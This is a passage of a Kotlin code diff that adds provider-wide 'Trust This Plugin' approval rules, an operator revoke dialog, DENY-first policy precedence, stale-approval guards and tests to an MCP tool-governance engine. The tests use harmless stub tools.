+import ai.rever.boss.plugin.ui.BossTheme +import androidx.compose.foundation.layout.Arrangement +import androidx.compose.foundation.layout.Column +import androidx.compose.foundation.layout.Row +import androidx.compose.foundation.layout.Spacer +import androidx.compose.foundation.layout.fillMaxWidth +import androidx.compose.foundation.layout.height +import androidx.compose.foundation.layout.heightIn +import androidx.compose.foundation.layout.padding +import androidx.compose.foundation.layout.width +import androidx.compose.foundation.layout.wrapContentHeight +import androidx.compose.foundation.rememberScrollState +import androidx.compose.foundation.shape.RoundedCornerShape +import androidx.compose.foundation.verticalScroll +import androidx.compose.material.Button +import androidx.compose.material.ButtonDefaults +import androidx.compose.material.Surface +import androidx.compose.material.Text +import androidx.compose.material.TextButton +import androidx.compose.runtime.Composable +import androidx.compose.runtime.getValue +import androidx.compose.runtime.mutableStateOf +import androidx.compose.runtime.remember +import androidx.compose.runtime.rememberCoroutineScope +import androidx.compose.runtime.setValue +import androidx.compose.ui.Alignment +import androidx.compose.ui.Modifier +import androidx.compose.ui.text.font.FontFamily +import androidx.compose.ui.text.font.FontWeight +import androidx.compose.ui.unit.dp +import androidx.compose.ui.unit.sp +import androidx.compose.ui.window.DialogProperties +import kotlinx.coroutines.launch + +/** + * Lets an operator see and undo every persisted "Trust This Plugin" grant made from + * [McpApprovalDialog] - each one is an ALLOW for an entire provider's tools, not a single tool, + * so this is the only path back short of hand-editing `~/.boss/mcp-tool-policy.json`. + * + * [providerRules] is a snapshot the caller re-derives from + * [ai.rever.boss.mcp.McpPolicyEngine.config] on every recomposition, not a copy this dialog owns. + * Only ALLOW rows are listed: this dialog has no affordance for setting a provider-wide DENY, so + * there is nothing else a provider rule can currently hold when this UI is the only writer. + */ +@Composable +@Suppress("LongMethod") // Declarative Compose layout. +fun McpProviderTrustDialog( + providerRules: Map, + onRevoke: suspend (providerId: String) -> Boolean, + onDismiss: () -> Unit, +) { + val colors = BossTheme.colors + val radii = BossTheme.radius + val scope = rememberCoroutineScope() + // Which provider's revoke most recently failed to persist. A single slot, not a set: a + // successful revoke of any provider clears it, matching McpPolicyManagerDialog's own + // reasoning for the equivalent per-tool dialog - this is diagnostic, not an audit trail. + var failedRevoke by remember { mutableStateOf(null) } + val trusted = providerRules.filterValues { it == McpPolicyAction.ALLOW } + + BossDialog( + onDismissRequest = onDismiss, + properties = DialogProperties(), + ) { + Surface( + modifier = Modifier.width(440.dp).wrapContentHeight(), + shape = RoundedCornerShape(radii.dialog), + color = colors.panel, + ) { + Column(modifier = Modifier.padding(24.dp)) { + Text( + text = "Trusted Plugins", + fontSize = 18.sp, + fontWeight = FontWeight.Bold, + color = colors.textPrimary, + ) + Spacer(modifier = Modifier.height(4.dp)) + Text( + text = + "Saved from \"Trust This Plugin\" in the tool approval dialog. Removing " + + "one returns every tool from that plugin to its own rule or the " + + "default policy - not necessarily to asking again.", + fontSize = 12.sp, + color = colors.textSecondary, + ) + Spacer(modifier = Modifier.height(16.dp)) + + if (trusted.isEmpty()) { + Text( + text = "No plugin is trusted as a whole. Tools are governed individually.", + fontSize = 13.sp, + color = colors.textSecondary, + ) + } else { + Column( + modifier = + Modifier + .fillMaxWidth() + .heightIn(max = 280.dp) + .verticalScroll(rememberScrollState()), + ) { + trusted.keys.sorted().forEach { providerId -> + Row( + modifier = Modifier.fillMaxWidth().padding(vertical = 6.dp), + verticalAlignment = Alignment.CenterVertically, + ) { + Column(modifier = Modifier.weight(1f)) { + Text( + text = providerId, + fontSize = 13.sp, + fontFamily = FontFamily.Monospace, + color = colors.textPrimary, + ) + Text( + text = "All tools trusted", + fontSize = 11.sp, + fontWeight = FontWeight.Medium, + color = colors.signal, + ) + if (failedRevoke == providerId) { + Text( + text = "Could not save - see the host log for the reason.", + fontSize = 11.sp, + color = colors.alert, + ) + } + } + Spacer(modifier = Modifier.width(8.dp)) + TextButton( + onClick = { + scope.launch { + failedRevoke = if (onRevoke(providerId)) null else providerId + } + }, + ) { + Text("Revoke", fontSize = 12.sp) + } + } + } + } + } + + Spacer(modifier = Modifier.height(16.dp)) + Row(modifier = Modifier.fillMaxWidth(), horizontalArrangement = Arrangement.End) { + Button( + onClick = onDismiss, + colors = ButtonDefaults.buttonColors(backgroundColor = colors.signal), + ) { + Text("Close", color = colors.onSignal, fontSize = 12.sp) + } + } + } + } + } +} diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpApprovalBus.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpApprovalBus.kt index f64c972c9f..3eb86385b7 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpApprovalBus.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpApprovalBus.kt @@ -29,6 +29,11 @@ sealed interface McpApprovalDecision { * `trustForSession` when this is true. */ val persistPolicy: Boolean = false, + /** + * "Trust this plugin": persist ALLOW for every tool [McpApprovalRequest.providerId] + * contributes, not just this one tool or this one call. + */ + val trustProvider: Boolean = false, ) : McpApprovalDecision data class Denied( @@ -157,14 +162,23 @@ open class McpApprovalBus( requestId: String, trustForSession: Boolean = false, persistPolicy: Boolean = false, + trustProvider: Boolean = false, ): Boolean { val req = activeRequests[requestId] ?: return false - val completed = req.deferred.complete(McpApprovalDecision.Approved(trustForSession, persistPolicy)) + val completed = + req.deferred.complete( + McpApprovalDecision.Approved(trustForSession, persistPolicy, trustProvider), + ) if (completed) { logger.info( LogCategory.SYSTEM, "Operator approved tool execution", - mapOf("tool" to req.toolName, "trustForSession" to trustForSession, "persistPolicy" to persistPolicy), + mapOf( + "tool" to req.toolName, + "trustForSession" to trustForSession, + "persistPolicy" to persistPolicy, + "trustProvider" to trustProvider, + ), ) } return completed diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicy.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicy.kt index b2433676f3..76819d6396 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicy.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicy.kt @@ -37,6 +37,20 @@ enum class McpApprovalDisposition { CANCELLED_AWAITING_APPROVAL, CANCELLED_IN_FLIGHT, QUEUE_FULL, + + /** + * The operator chose "Trust this plugin" and the persisted, provider-wide grant actually + * saved - every other tool from [ai.rever.boss.mcp.McpApprovalRequest.providerId] is now + * ALLOW too, across restarts, with no further prompts for this provider. + */ + PROVIDER_TRUSTED, + + /** + * The operator chose "Trust this plugin" but the write failed - this call still executes + * (downgraded to session trust, matching how a call in hand is never blocked by a disk + * fault) but the durable grant does not exist. See [McpPolicyFault.ProviderPolicyPersistFailed]. + */ + PROVIDER_TRUST_PERSIST_FAILED, } /** @@ -50,6 +64,13 @@ data class McpToolPolicyConfig( val defaultMutatingAction: McpPolicyAction = McpPolicyAction.ASK, val defaultReadOnlyAction: McpPolicyAction = McpPolicyAction.ALLOW, val rules: Map = emptyMap(), + /** + * Rules keyed by [ai.rever.boss.mcp.McpApprovalRequest.providerId] rather than tool name - + * "trust every tool this plugin contributes" instead of approving each one individually. + * Weaker than [rules]: an exact tool-name entry always overrides its provider's rule, in + * either direction. See [ai.rever.boss.mcp.McpPolicyEngine.policyFor] for the full precedence. + */ + val providerRules: Map = emptyMap(), ) /** diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicyEngine.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicyEngine.kt index c37028429e..997e036547 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicyEngine.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpPolicyEngine.kt @@ -36,6 +36,14 @@ sealed interface McpPolicyFault { override val message: String get() = "Could not save MCP policy for '$toolName' ($error)." } + + data class ProviderPolicyPersistFailed( + val providerId: String, + val error: String, + ) : McpPolicyFault { + override val message: String + get() = "Could not save MCP provider trust for '$providerId' ($error)." + } } /** @@ -46,6 +54,10 @@ sealed interface McpPolicyFault { * * In-memory session trust ([trustForSession]) allows an operator to approve a tool * for the duration of the current application run without writing a permanent rule. + * + * Tool-scoped and provider-scoped policy ([setProviderPolicy]/[revokeProviderPolicy]) are kept + * side by side deliberately rather than split into two classes, which would each need their own + * copy of the lock, fault channel and persisted config this one already has. */ @Suppress("TooManyFunctions") // Policy resolution, approval guards and durable updates share one state and lock. class McpPolicyEngine( @@ -55,6 +67,7 @@ class McpPolicyEngine( private val logger = BossLogger.forComponent("McpPolicyEngine") private val lock = Any() private val revocations = ConcurrentHashMap() + private val providerRevocations = ConcurrentHashMap() private val json = Json { ignoreUnknownKeys = true @@ -71,16 +84,29 @@ class McpPolicyEngine( val sessionTrustedTools: StateFlow> = _sessionTrustedTools.asStateFlow() /** Capture before reading policy; a reset invalidates every older authorization. */ - internal fun revocationVersion(toolName: String): Long = revocations[toolName] ?: 0L + internal fun revocationVersion( + toolName: String, + providerId: String? = null, + ): Long = (revocations[toolName] ?: 0L) + (providerId?.let { providerRevocations[it] } ?: 0L) - /** Final authorization boundary. Session grants and operator resets use the same lock. */ + /** + * Final authorization boundary. Session grants and operator resets use the same lock. + * + * [providerId] is the tool's contributing provider, so the DENY recheck evaluates the + * same provider-aware policy the initial lookup did - a provider-wide DENY must hold at + * this boundary too, or a queued approval captured before the DENY was saved would get a + * second look without it. + */ internal fun confirmInvocation( toolName: String, expectedRevocation: Long, grantSessionTrust: Boolean, + providerId: String? = null, ): Boolean = synchronized(lock) { - if (revocationVersion(toolName) != expectedRevocation || policyFor(toolName) == McpPolicyAction.DENY) { + if (revocationVersion(toolName, providerId) != expectedRevocation || + policyFor(toolName, providerId) == McpPolicyAction.DENY + ) { false } else { if (grantSessionTrust) trustForSession(toolName) @@ -89,22 +115,46 @@ class McpPolicyEngine( } /** - * Resolve the effective policy action for [toolName]. + * Resolve the effective policy action for [toolName], contributed by [providerId]. + * + * Precedence, most authoritative first: + * 1. A fault that withholds every tool. + * 2. An explicit DENY - tool-specific **or** [providerId]'s own - always wins, over + * everything below, including a more specific ALLOW. This is deliberately NOT + * "most specific wins": a provider-wide DENY is a broader, and typically later, + * decision than whatever per-tool rule it sits next to, and letting a narrower ALLOW + * punch a hole through it would reopen exactly the access the wide DENY was meant to + * close - the same "most restrictive wins" posture DENY already has everywhere else in + * this engine (it already beats session trust the same unconditional way). + * 3. Session trust for this exact tool. + * 4. An explicit tool-specific rule that is not DENY (ALLOW or ASK) - more specific than + * [providerId]'s rule, so it wins when the two disagree and neither is a DENY. + * 5. [providerId]'s own ALLOW - "trust every tool this plugin contributes." + * 6. The risk-based default. * - * Explicit DENY rules in configuration always win over session trust. - * If [toolName] was trusted by the operator for this session, it returns [McpPolicyAction.ALLOW]. + * [providerId] is optional so existing callers that only ever checked a tool name (tests, + * anything resolving policy before a provider is known) keep compiling; omitting it just + * means step 2 and 5 never apply. */ - @Suppress("ReturnCount") // Ordered deny, trust and default policy precedence. - fun policyFor(toolName: String): McpPolicyAction { + @Suppress("ReturnCount") // Ordered deny, trust, tool-rule, provider-rule and default precedence. + fun policyFor( + toolName: String, + providerId: String? = null, + ): McpPolicyAction { if (_fault.value is McpPolicyFault.PersistedPolicyUnreadable) return McpPolicyAction.DENY - val configured = _config.value.rules[toolName] - if (configured == McpPolicyAction.DENY) { + val configuredTool = _config.value.rules[toolName] + if (configuredTool == McpPolicyAction.DENY) { + return McpPolicyAction.DENY + } + val configuredProvider = providerId?.let { _config.value.providerRules[it] } + if (configuredProvider == McpPolicyAction.DENY) { return McpPolicyAction.DENY } if (toolName in _sessionTrustedTools.value) { return McpPolicyAction.ALLOW } - if (configured != null) return configured + if (configuredTool != null) return configuredTool + if (configuredProvider == McpPolicyAction.ALLOW) return McpPolicyAction.ALLOW val risk = DefaultMcpRiskEvaluator().evaluateRisk(toolName, McpToolArgs(emptyMap())).level return if (risk >= McpRiskLevel.HIGH || McpMutatingToolCatalog.isMutating(toolName)) { _config.value.defaultMutatingAction @@ -146,29 +196,33 @@ class McpPolicyEngine( } /** - * Replaces the rule map and persists it, publishing the result the same way for every - * caller - [setToolPolicy]'s add/replace and [revokePersistedPolicy]'s remove both go - * through this, so a future change to how a persist failure is reported (or logged, or - * faulted) cannot update one path and silently miss the other. + * Persists an already-built config and publishes the result the same way for every + * caller - [setToolPolicy]'s add/replace, [revokePersistedPolicy]'s remove, + * [setProviderPolicy]'s add/replace and [revokeProviderPolicy]'s remove all go through + * this, so a future change to how a persist failure is reported (or logged, or faulted) + * cannot update one path and silently miss the others. [logKey] is the field name used + * in the structured log so tool writes and provider writes stay distinguishable. */ - private fun applyRules( - toolName: String, - updatedRules: Map, + @Suppress("LongParameterList") // Six distinct fields the four write paths all need; no natural grouping. + private fun applyConfig( + key: String, + logKey: String, + updated: McpToolPolicyConfig, successMessage: String, failureMessage: String, + faultFor: (key: String, error: String) -> McpPolicyFault, ): Boolean { - val updated = _config.value.copy(rules = updatedRules) val error = persistConfig(updated) return if (error != null) { - val faultObj = McpPolicyFault.PolicyPersistFailed(toolName, error) + val faultObj = faultFor(key, error) if (_fault.value !is McpPolicyFault.PersistedPolicyUnreadable) _fault.value = faultObj notifyFault(faultObj) - logger.warn(LogCategory.SYSTEM, failureMessage, mapOf("tool" to toolName, "error" to error)) + logger.warn(LogCategory.SYSTEM, failureMessage, mapOf(logKey to key, "error" to error)) false } else { _config.value = updated _fault.value = null - logger.info(LogCategory.SYSTEM, successMessage, mapOf("tool" to toolName)) + logger.info(LogCategory.SYSTEM, successMessage, mapOf(logKey to key)) true } } @@ -182,20 +236,103 @@ class McpPolicyEngine( action: McpPolicyAction, preserveDeny: Boolean = false, expectedRevocation: Long? = null, + providerId: String? = null, ): Boolean = synchronized(lock) { - if (expectedRevocation != null && revocationVersion(toolName) != expectedRevocation) { + if (expectedRevocation != null && revocationVersion(toolName, providerId) != expectedRevocation) { return@synchronized false } - if (preserveDeny && policyFor(toolName) == McpPolicyAction.DENY) return@synchronized false - applyRules( - toolName, - _config.value.rules + (toolName to action), + if (preserveDeny && policyFor(toolName, providerId) == McpPolicyAction.DENY) return@synchronized false + applyConfig( + key = toolName, + logKey = "tool", + updated = _config.value.copy(rules = _config.value.rules + (toolName to action)), successMessage = "Updated tool policy: ${action.name}", failureMessage = "Failed to persist MCP policy update", + faultFor = { k, e -> McpPolicyFault.PolicyPersistFailed(k, e) }, ) } + /** + * Trust every tool [providerId] contributes, persistently - "Trust this plugin" in the + * approval dialog, for an operator who does not want to approve each of its tools one at a + * time. Weaker than an explicit tool-specific rule: see [policyFor]. + * + * [preserveDeny]/[expectedRevocation]/[toolName] mirror [setToolPolicy]'s own guards: a + * queued "Trust This Plugin" click is answering for the *tool* that prompted it, so its + * write must recheck that tool's revocation/DENY state under this same lock, not only at + * the caller's pre-check - otherwise a reset landing between the pre-check and the write + * (BossConsole#542 review) persists a provider-wide grant the reset was supposed to + * invalidate. All three are optional because this is also called with no tool in mind + * (tests, and any future non-approval-flow caller). + */ + fun setProviderPolicy( + providerId: String, + action: McpPolicyAction, + preserveDeny: Boolean = false, + expectedRevocation: Long? = null, + toolName: String? = null, + ): Boolean = + synchronized(lock) { + if (expectedRevocation != null && + (toolName == null || revocationVersion(toolName, providerId) != expectedRevocation) + ) { + return@synchronized false + } + if (preserveDeny && isProviderOrToolDenied(providerId, toolName)) { + return@synchronized false + } + applyConfig( + key = providerId, + logKey = "provider", + updated = _config.value.copy(providerRules = _config.value.providerRules + (providerId to action)), + successMessage = "Updated provider policy: ${action.name}", + failureMessage = "Failed to persist MCP provider policy update", + faultFor = { k, e -> McpPolicyFault.ProviderPolicyPersistFailed(k, e) }, + ) + } + + /** + * True when [providerId]'s own rule is DENY, or [toolName] (when this call has one in mind) + * has a more specific DENY of its own - either one is what [setProviderPolicy]'s + * `preserveDeny` guard exists to protect from being overwritten. + */ + private fun isProviderOrToolDenied( + providerId: String, + toolName: String?, + ): Boolean = + _config.value.providerRules[providerId] == McpPolicyAction.DENY || + (toolName != null && policyFor(toolName, providerId) == McpPolicyAction.DENY) + + /** + * The operator-facing undo for [setProviderPolicy]: removes [providerId]'s rule entirely + * (`providerRules - providerId`), so each of its tools falls back to whatever its own + * tool-specific rule or the default policy says - not to a hardcoded value. Deliberately a + * removal rather than a rewrite to some "neutral" action: a key left behind holding some + * other value is not the same thing as the rule being gone, and would leave a permanently + * non-empty entry for a provider the operator asked to stop trusting. + * + * Does not touch session trust for the provider's tools, unlike + * [revokePersistedPolicy] for a single tool: session trust is a separate, in-session grant + * the operator manages from the "Revoke MCP session trust" control, and revoking a + * durable provider rule must not silently withdraw grants the operator made per tool. + */ + fun revokeProviderPolicy(providerId: String): Boolean = + synchronized(lock) { + val saved = + applyConfig( + key = providerId, + logKey = "provider", + updated = _config.value.copy(providerRules = _config.value.providerRules - providerId), + successMessage = "Revoked provider policy", + failureMessage = "Failed to persist MCP provider policy revocation", + faultFor = { k, e -> McpPolicyFault.ProviderPolicyPersistFailed(k, e) }, + ) + // Invalidate queued authorizations even when the durable reset fails. + providerRevocations[providerId] = (providerRevocations[providerId] ?: 0L) + 1 + saved + } + /** * The operator-facing undo for [setToolPolicy]'s persistent scope: removes [toolName]'s rule * entirely, so the next call falls through to whatever [McpToolPolicyConfig.defaultMutatingAction] @@ -231,11 +368,13 @@ class McpPolicyEngine( // visible on failure, but an older answer cannot restore trust behind this reset. revokeSessionTrust(toolName) val saved = - applyRules( - toolName, - _config.value.rules - toolName, + applyConfig( + key = toolName, + logKey = "tool", + updated = _config.value.copy(rules = _config.value.rules - toolName), successMessage = "Revoked persisted tool policy", failureMessage = "Failed to persist MCP policy revocation", + faultFor = { k, e -> McpPolicyFault.PolicyPersistFailed(k, e) }, ) // Publish last: a caller observing this version must also see the reset policy. // Calls that captured the previous version cannot pass the locked approval guard. diff --git a/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpToolRegistryImpl.kt b/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpToolRegistryImpl.kt index d5c6a268a1..b62d5c52bb 100644 --- a/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpToolRegistryImpl.kt +++ b/composeApp/src/commonMain/kotlin/ai/rever/boss/mcp/McpToolRegistryImpl.kt @@ -744,8 +744,8 @@ internal class McpToolRegistryCore( _tools.value.firstOrNull { it.definition.name == toolName } ?: return McpToolResult("Unknown or disabled MCP tool: $toolName", isError = true) val args = parseArgs(arguments) - val revocation = policyEngine.revocationVersion(toolName) - val policy = policyEngine.policyFor(toolName) + val revocation = policyEngine.revocationVersion(toolName, tool.providerId) + val policy = policyEngine.policyFor(toolName, tool.providerId) val startTime = System.nanoTime() var disposition = McpApprovalDisposition.AUTO_ALLOWED var result: McpToolResult? = null @@ -813,7 +813,8 @@ internal class McpToolRegistryCore( policyEngine.confirmInvocation( tool.definition.name, revocation, - grantSessionTrust = disposition == McpApprovalDisposition.SESSION_TRUSTED, + grantSessionTrust = disposition.grantsSessionTrust, + providerId = tool.providerId, ) } @@ -828,8 +829,8 @@ internal class McpToolRegistryCore( if (authorization.second != null) return@withContext authorization val toolName = tool.definition.name if (!isAvailable(tool) || - policyEngine.revocationVersion(toolName) != revocation || - policyEngine.policyFor(toolName) == McpPolicyAction.DENY + policyEngine.revocationVersion(toolName, tool.providerId) != revocation || + policyEngine.policyFor(toolName, tool.providerId) == McpPolicyAction.DENY ) { return@withContext McpApprovalDisposition.POLICY_DENIED to "MCP tool access revoked while awaiting approval" @@ -840,13 +841,14 @@ internal class McpToolRegistryCore( McpPolicyAction.ALLOW, preserveDeny = true, expectedRevocation = revocation, + providerId = tool.providerId, ) ) { return@withContext authorization } val disposition = - if (policyEngine.revocationVersion(toolName) != revocation || - policyEngine.policyFor(toolName) == McpPolicyAction.DENY + if (policyEngine.revocationVersion(toolName, tool.providerId) != revocation || + policyEngine.policyFor(toolName, tool.providerId) == McpPolicyAction.DENY ) { McpApprovalDisposition.POLICY_DENIED } else { @@ -855,11 +857,56 @@ internal class McpToolRegistryCore( disposition to "MCP persistent approval was not saved; tool execution withheld" } + // Each approval scope (provider-wide, persistent, session/once) owns its own outcome. + @Suppress("ReturnCount") private suspend fun approvedAuthorization( tool: RegisteredMcpTool, decision: McpApprovalDecision.Approved, revocation: Long, ): Pair { + if (decision.trustProvider) { + val toolName = tool.definition.name + // Same pre-check validateApproval does for the per-tool path: a revoke or DENY + // landing while this dialog was open must refuse the write outright, not fall back + // to running the call. Mirrored again inside setProviderPolicy's own lock below, + // since this check alone is not atomic with the write that follows it. + if (!isAvailable(tool) || + policyEngine.revocationVersion(toolName, tool.providerId) != revocation || + policyEngine.policyFor(toolName, tool.providerId) == McpPolicyAction.DENY + ) { + return McpApprovalDisposition.POLICY_DENIED to + "MCP tool access revoked while awaiting approval" + } + // Off the calling coroutine's own dispatcher: this is a synchronous disk write + // (docs/THREADING.md), and it must not run on whatever dispatcher delivered this + // MCP call. + val persisted = + withContext(Dispatchers.IO) { + policyEngine.setProviderPolicy( + tool.providerId, + McpPolicyAction.ALLOW, + preserveDeny = true, + expectedRevocation = revocation, + toolName = toolName, + ) + } + if (persisted) { + return McpApprovalDisposition.PROVIDER_TRUSTED to null + } + // setProviderPolicy can return false for two different reasons: its own in-lock + // guard refused a now-stale write (a revoke or DENY landed between the pre-check + // above and the lock), or the write genuinely failed on disk. Only the latter falls + // back to running the call with session trust for this one tool + // (PROVIDER_TRUST_PERSIST_FAILED) - the former must not run at all, exactly the + // disambiguation validateApproval already does for the per-tool path. + return if (policyEngine.revocationVersion(toolName, tool.providerId) != revocation || + policyEngine.policyFor(toolName, tool.providerId) == McpPolicyAction.DENY + ) { + McpApprovalDisposition.POLICY_DENIED to "MCP tool access revoked while awaiting approval" + } else { + McpApprovalDisposition.PROVIDER_TRUST_PERSIST_FAILED to null + } + } if (decision.persistPolicy) { return validateApproval(tool, McpApprovalDisposition.PERSISTENTLY_ALLOWED to null, revocation) } @@ -873,13 +920,20 @@ internal class McpToolRegistryCore( } private suspend fun persistentDenialDisposition( - toolName: String, + tool: RegisteredMcpTool, revocation: Long, ): McpApprovalDisposition = withContext(Dispatchers.IO) { - if (policyEngine.setToolPolicy(toolName, McpPolicyAction.DENY, expectedRevocation = revocation)) { + val toolName = tool.definition.name + if (policyEngine.setToolPolicy( + toolName, + McpPolicyAction.DENY, + expectedRevocation = revocation, + providerId = tool.providerId, + ) + ) { McpApprovalDisposition.PERSISTENTLY_DENIED - } else if (policyEngine.revocationVersion(toolName) != revocation) { + } else if (policyEngine.revocationVersion(toolName, tool.providerId) != revocation) { McpApprovalDisposition.POLICY_DENIED } else { McpApprovalDisposition.POLICY_PERSIST_FAILED @@ -918,7 +972,7 @@ internal class McpToolRegistryCore( is McpApprovalDecision.Denied -> { val disposition = if (decision.persistPolicy) { - persistentDenialDisposition(tool.definition.name, revocation) + persistentDenialDisposition(tool, revocation) } else { McpApprovalDisposition.DENIED_BY_OPERATOR } @@ -936,6 +990,19 @@ internal class McpToolRegistryCore( } } + /** + * Whether this disposition should also grant session trust for the tool in hand. + * + * [McpApprovalDisposition.SESSION_TRUSTED] is the obvious case; PROVIDER_TRUST_PERSIST_FAILED + * needs it too - the durable, provider-wide grant did not save, but the call the operator + * already approved past should not be blocked by that disk fault, so it falls back to at + * least trusting this one tool for the rest of the session. + */ + private val McpApprovalDisposition.grantsSessionTrust: Boolean + get() = + this == McpApprovalDisposition.SESSION_TRUSTED || + this == McpApprovalDisposition.PROVIDER_TRUST_PERSIST_FAILED + private suspend fun executeAuthorized( tool: RegisteredMcpTool, args: McpToolArgs, diff --git a/composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpGovernedInvocationTest.kt b/composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpGovernedInvocationTest.kt index 08c2d817e2..addb375d71 100644 --- a/composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpGovernedInvocationTest.kt +++ b/composeApp/src/desktopTest/kotlin/ai/rever/boss/mcp/McpGovernedInvocationTest.kt @@ -8,9 +8,11 @@ import kotlinx.coroutines.CancellationException import kotlinx.coroutines.async import kotlinx.coroutines.flow.first import kotlinx.coroutines.runBlocking +import java.nio.file.Files import kotlin.test.Test import kotlin.test.assertEquals import kotlin.test.assertFalse +import kotlin.test.assertNull import kotlin.test.assertTrue /** Exercises policy precedence, real approval suspension and audit cancellation at the registry boundary. */ @@ -363,4 +365,276 @@ class McpGovernedInvocationTest { .approvalDisposition, ) } + + @Test + fun `approving one tool with trustProvider lets a sibling tool from the same provider through without asking`() = + runBlocking { + var firstCalled = false + var secondCalled = false + val policyEngine = McpPolicyEngine(policyFile = null) + val approvalBus = McpApprovalBus(defaultTimeoutMs = 5000L) + val ledger = McpOperationLedger(ledgerFile = null) + val core = + McpToolRegistryCore( + disabledFile = null, + policyEngine = policyEngine, + approvalBus = approvalBus, + ledger = ledger, + ) + core.registerProvider( + provider( + "terminal-tab", + echoTool( + "run_command", + handler = + McpToolHandler { + firstCalled = true + McpToolResult("ran") + }, + ), + echoTool( + "k8s_delete", + handler = + McpToolHandler { + secondCalled = true + McpToolResult("deleted") + }, + ), + ), + ) + + // First call: ASK, approve with "Trust This Plugin". + val firstResult = async { core.invoke("run_command", "{}") } + val firstRequest = approvalBus.pendingList.first { it.isNotEmpty() }.first() + assertEquals("terminal-tab", firstRequest.providerId) + approvalBus.approve(firstRequest.id, trustForSession = false, trustProvider = true) + assertFalse(firstResult.await().isError) + assertTrue(firstCalled) + assertEquals( + McpApprovalDisposition.PROVIDER_TRUSTED, + ledger.recentOperations.value + .first() + .approvalDisposition, + ) + + // Second call, a DIFFERENT tool from the SAME provider: no approval prompt at all - + // the provider-wide rule the first call just persisted covers it. + val secondResult = core.invoke("k8s_delete", "{}") + assertFalse(secondResult.isError) + assertTrue(secondCalled) + assertTrue(approvalBus.pendingList.value.isEmpty(), "the second call must never have queued a prompt") + + // And it really did persist, not just live in this run's session trust: a fresh + // engine reading the same policy would agree without ever calling trustForSession. + assertEquals(McpPolicyAction.ALLOW, policyEngine.policyFor("k8s_delete", "terminal-tab")) + } + + @Test + fun `revoking provider trust makes its tools ask again`() = + runBlocking { + val policyEngine = McpPolicyEngine(policyFile = null) + policyEngine.setProviderPolicy("terminal-tab", McpPolicyAction.ALLOW) + val approvalBus = McpApprovalBus(defaultTimeoutMs = 5000L) + val core = + McpToolRegistryCore( + disabledFile = null, + policyEngine = policyEngine, + approvalBus = approvalBus, + ) + core.registerProvider(provider("terminal-tab", echoTool("run_command"))) + + // Trusted: runs immediately, no prompt. + assertFalse(core.invoke("run_command", "{}").isError) + assertTrue(approvalBus.pendingList.value.isEmpty()) + + policyEngine.revokeProviderPolicy("terminal-tab") + + // Revoked: back to ASK, so this call suspends for a real prompt. + val job = async { core.invoke("run_command", "{}") } + val request = approvalBus.pendingList.first { it.isNotEmpty() }.first() + approvalBus.deny(request.id) + assertTrue(job.await().isError) + } + + @Test + fun `trustProvider on a dialog left stale by a revoke does not run the call or persist a grant`() = + runBlocking { + // BossConsole#542 review: a queued approval must not be able to persist a + // provider-wide grant a reset already invalidated (AGENTS.md's governed-MCP + // section - "each reset invalidates older authorizations before their final + // approval boundary, including queued once/session/persistent grants"). + var called = false + val policyEngine = McpPolicyEngine(policyFile = null) + val approvalBus = McpApprovalBus(defaultTimeoutMs = 5000L) + val ledger = McpOperationLedger(ledgerFile = null) + val core = + McpToolRegistryCore( + disabledFile = null, + policyEngine = policyEngine, + approvalBus = approvalBus, + ledger = ledger, + ) + core.registerProvider( + provider( + "terminal-tab", + echoTool( + "run_command", + handler = + McpToolHandler { + called = true + McpToolResult("ran") + }, + ), + ), + ) + + // The prompt opens and captures the current revocation. + val call = async { core.invoke("run_command", "{}") } + val request = approvalBus.pendingList.first { it.isNotEmpty() }.first() + + // The operator resets this tool from "Persisted MCP policies" while the dialog is + // still open - bumps the revocation the pending request already captured. + policyEngine.revokePersistedPolicy("run_command") + + // Clicking "Trust This Plugin" on the now-stale dialog must not run the call and + // must not persist the provider-wide grant the reset was supposed to invalidate - + // unlike a genuine disk-write failure (PROVIDER_TRUST_PERSIST_FAILED), which still + // runs the call. + approvalBus.approve(request.id, trustProvider = true) + assertTrue(call.await().isError) + assertFalse(called, "a call cancelled out from under a stale dialog must never execute") + assertEquals( + McpApprovalDisposition.POLICY_DENIED, + ledger.recentOperations.value + .single() + .approvalDisposition, + ) + assertNull( + policyEngine.config.value.providerRules["terminal-tab"], + "the reset must not have been overwritten by the stale approval", + ) + assertEquals(McpPolicyAction.ASK, policyEngine.policyFor("run_command", "terminal-tab")) + } + + // A registry wired to a policy file whose parent path is a file, so the atomic + // write's directory creation fails - the same blocked-write setup the per-tool + // failure case uses in McpPersistentApprovalTest. + private class ProviderPolicyFailureFixture( + providerToRegister: McpToolProvider, + ) { + val dir = Files.createTempDirectory("mcp-provider-policy-failure").toFile() + private val parent = dir.resolve("parent") + val policyEngine = McpPolicyEngine(parent.resolve("policy.json")) + val approvalBus = McpApprovalBus(defaultTimeoutMs = 5000L) + val ledger = McpOperationLedger(ledgerFile = null) + val core = + McpToolRegistryCore( + disabledFile = null, + policyEngine = policyEngine, + approvalBus = approvalBus, + ledger = ledger, + ) + + init { + parent.writeText("blocks directory creation") + core.registerProvider(providerToRegister) + } + + fun close() = dir.deleteRecursively() + } + + private fun failingProviderFixture( + onCommand: () -> Unit, + onDelete: () -> Unit, + ): ProviderPolicyFailureFixture = + ProviderPolicyFailureFixture( + provider( + "terminal-tab", + echoTool( + "run_command", + handler = + McpToolHandler { + onCommand() + McpToolResult("ran") + }, + ), + echoTool( + "k8s_delete", + handler = + McpToolHandler { + onDelete() + McpToolResult("deleted") + }, + ), + ), + 